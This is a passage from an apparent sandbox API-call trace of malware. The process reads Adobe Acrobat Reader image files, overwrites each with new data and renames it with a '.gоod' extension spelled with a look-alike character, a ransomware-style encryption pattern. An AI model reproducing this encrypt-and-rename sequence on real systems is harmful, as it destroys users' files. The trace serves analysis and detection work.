(x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down-pressed.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down-pressed.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down-pressed.gif.gоod")) returned 1 [0189.059] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down.gif", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down.gif", lpFilePart=0x0) returned 0x84 [0189.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea5d0) returned 1 [0189.059] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down.gif"), fInfoLevelId=0x0, lpFileInformation=0x3937380 | out: lpFileInformation=0x3937380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x42)) returned 1 [0189.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea590) returned 1 [0189.060] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down.gif", nBufferLength=0x105, lpBuffer=0x1fde9f60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down.gif", lpFilePart=0x0) returned 0x84 [0189.060] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea480) returned 1 [0189.060] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0189.060] GetFileType (hFile=0x768) returned 0x1 [0189.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea3f0) returned 1 [0189.060] GetFileType (hFile=0x768) returned 0x1 [0189.060] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1fdea628 | out: lpFileSizeHigh=0x1fdea628*=0x0) returned 0x42 [0189.060] ReadFile (in: hFile=0x768, lpBuffer=0x3937770, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdea558, lpOverlapped=0x0 | out: lpBuffer=0x3937770*, lpNumberOfBytesRead=0x1fdea558*=0x42, lpOverlapped=0x0) returned 1 [0189.061] CloseHandle (hObject=0x768) returned 1 [0189.419] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down.gif", nBufferLength=0x105, lpBuffer=0x1fde9f60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down.gif", lpFilePart=0x0) returned 0x84 [0189.419] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea480) returned 1 [0189.419] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0189.420] GetFileType (hFile=0x81c) returned 0x1 [0189.420] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea3f0) returned 1 [0189.420] GetFileType (hFile=0x81c) returned 0x1 [0189.421] WriteFile (in: hFile=0x81c, lpBuffer=0x3838320*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x1fdea468, lpOverlapped=0x0 | out: lpBuffer=0x3838320*, lpNumberOfBytesWritten=0x1fdea468*=0x50, lpOverlapped=0x0) returned 1 [0189.421] CloseHandle (hObject=0x81c) returned 1 [0189.422] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down.gif", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down.gif", lpFilePart=0x0) returned 0x84 [0189.422] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down.gif.gоod", lpFilePart=0x0) returned 0x89 [0189.422] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea590) returned 1 [0189.422] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdea670 | out: lpFileInformation=0x1fdea670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6d1d3734, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x50)) returned 1 [0189.422] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea550) returned 1 [0189.422] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down.gif.gоod")) returned 1 [0189.423] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left-pressed.gif", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left-pressed.gif", lpFilePart=0x0) returned 0x8c [0189.423] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea5d0) returned 1 [0189.423] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left-pressed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left-pressed.gif"), fInfoLevelId=0x0, lpFileInformation=0x3839730 | out: lpFileInformation=0x3839730*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38)) returned 1 [0189.423] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea590) returned 1 [0189.423] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left-pressed.gif", nBufferLength=0x105, lpBuffer=0x1fde9f60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left-pressed.gif", lpFilePart=0x0) returned 0x8c [0189.423] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea480) returned 1 [0189.423] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left-pressed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left-pressed.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0189.423] GetFileType (hFile=0x81c) returned 0x1 [0189.423] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea3f0) returned 1 [0189.423] GetFileType (hFile=0x81c) returned 0x1 [0189.423] GetFileSize (in: hFile=0x81c, lpFileSizeHigh=0x1fdea628 | out: lpFileSizeHigh=0x1fdea628*=0x0) returned 0x38 [0189.423] ReadFile (in: hFile=0x81c, lpBuffer=0x3839b50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdea558, lpOverlapped=0x0 | out: lpBuffer=0x3839b50*, lpNumberOfBytesRead=0x1fdea558*=0x38, lpOverlapped=0x0) returned 1 [0189.424] CloseHandle (hObject=0x81c) returned 1 [0190.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea480) returned 1 [0190.005] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left-pressed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left-pressed.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0190.007] GetFileType (hFile=0x630) returned 0x1 [0190.007] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea3f0) returned 1 [0190.007] GetFileType (hFile=0x630) returned 0x1 [0190.007] WriteFile (in: hFile=0x630, lpBuffer=0x3a3e6b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x1fdea468, lpOverlapped=0x0 | out: lpBuffer=0x3a3e6b0*, lpNumberOfBytesWritten=0x1fdea468*=0x40, lpOverlapped=0x0) returned 1 [0190.008] CloseHandle (hObject=0x630) returned 1 [0190.303] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left-pressed.gif", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left-pressed.gif", lpFilePart=0x0) returned 0x8c [0190.303] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left-pressed.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left-pressed.gif.gоod", lpFilePart=0x0) returned 0x91 [0190.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea590) returned 1 [0190.303] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left-pressed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left-pressed.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdea670 | out: lpFileInformation=0x1fdea670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6d764e90, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x40)) returned 1 [0190.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea550) returned 1 [0190.303] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left-pressed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left-pressed.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left-pressed.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left-pressed.gif.gоod")) returned 1 [0190.305] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left.gif", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left.gif", lpFilePart=0x0) returned 0x84 [0190.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea5d0) returned 1 [0190.305] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left.gif"), fInfoLevelId=0x0, lpFileInformation=0x37eb920 | out: lpFileInformation=0x37eb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f)) returned 1 [0190.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea590) returned 1 [0190.305] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left.gif", nBufferLength=0x105, lpBuffer=0x1fde9f60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left.gif", lpFilePart=0x0) returned 0x84 [0190.306] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea480) returned 1 [0190.306] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0190.306] GetFileType (hFile=0x81c) returned 0x1 [0190.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea3f0) returned 1 [0190.306] GetFileType (hFile=0x81c) returned 0x1 [0190.306] GetFileSize (in: hFile=0x81c, lpFileSizeHigh=0x1fdea628 | out: lpFileSizeHigh=0x1fdea628*=0x0) returned 0x3f [0190.306] ReadFile (in: hFile=0x81c, lpBuffer=0x37ebd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdea558, lpOverlapped=0x0 | out: lpBuffer=0x37ebd08*, lpNumberOfBytesRead=0x1fdea558*=0x3f, lpOverlapped=0x0) returned 1 [0190.307] CloseHandle (hObject=0x81c) returned 1 [0192.366] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left.gif", nBufferLength=0x105, lpBuffer=0x1fde9f60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left.gif", lpFilePart=0x0) returned 0x84 [0192.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea480) returned 1 [0192.366] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x830 [0192.367] GetFileType (hFile=0x830) returned 0x1 [0192.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea3f0) returned 1 [0192.368] GetFileType (hFile=0x830) returned 0x1 [0192.368] WriteFile (in: hFile=0x830, lpBuffer=0x3459ee8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x1fdea468, lpOverlapped=0x0 | out: lpBuffer=0x3459ee8*, lpNumberOfBytesWritten=0x1fdea468*=0x40, lpOverlapped=0x0) returned 1 [0192.369] CloseHandle (hObject=0x830) returned 1 [0192.369] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left.gif", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left.gif", lpFilePart=0x0) returned 0x84 [0192.369] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left.gif.gоod", lpFilePart=0x0) returned 0x89 [0192.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea590) returned 1 [0192.369] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdea670 | out: lpFileInformation=0x1fdea670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6ee0b314, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x40)) returned 1 [0192.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea550) returned 1 [0192.369] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left.gif.gоod")) returned 1 [0192.370] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right-pressed.gif", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right-pressed.gif", lpFilePart=0x0) returned 0x8d [0192.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea5d0) returned 1 [0192.370] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right-pressed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right-pressed.gif"), fInfoLevelId=0x0, lpFileInformation=0x345b2f8 | out: lpFileInformation=0x345b2f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38)) returned 1 [0192.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea590) returned 1 [0192.370] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right-pressed.gif", nBufferLength=0x105, lpBuffer=0x1fde9f60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right-pressed.gif", lpFilePart=0x0) returned 0x8d [0192.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea480) returned 1 [0192.370] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right-pressed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right-pressed.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x830 [0192.371] GetFileType (hFile=0x830) returned 0x1 [0192.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea3f0) returned 1 [0192.371] GetFileType (hFile=0x830) returned 0x1 [0192.371] GetFileSize (in: hFile=0x830, lpFileSizeHigh=0x1fdea628 | out: lpFileSizeHigh=0x1fdea628*=0x0) returned 0x38 [0192.371] ReadFile (in: hFile=0x830, lpBuffer=0x345b718, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdea558, lpOverlapped=0x0 | out: lpBuffer=0x345b718*, lpNumberOfBytesRead=0x1fdea558*=0x38, lpOverlapped=0x0) returned 1 [0192.781] CloseHandle (hObject=0x830) returned 1 [0193.080] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right-pressed.gif", nBufferLength=0x105, lpBuffer=0x1fde9f60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right-pressed.gif", lpFilePart=0x0) returned 0x8d [0193.080] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea480) returned 1 [0193.080] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right-pressed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right-pressed.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0193.153] GetFileType (hFile=0x818) returned 0x1 [0193.153] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea3f0) returned 1 [0193.153] GetFileType (hFile=0x818) returned 0x1 [0193.153] WriteFile (in: hFile=0x818, lpBuffer=0x34b91f8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x1fdea468, lpOverlapped=0x0 | out: lpBuffer=0x34b91f8*, lpNumberOfBytesWritten=0x1fdea468*=0x40, lpOverlapped=0x0) returned 1 [0193.154] CloseHandle (hObject=0x818) returned 1 [0193.154] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-right-pressed.gif", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 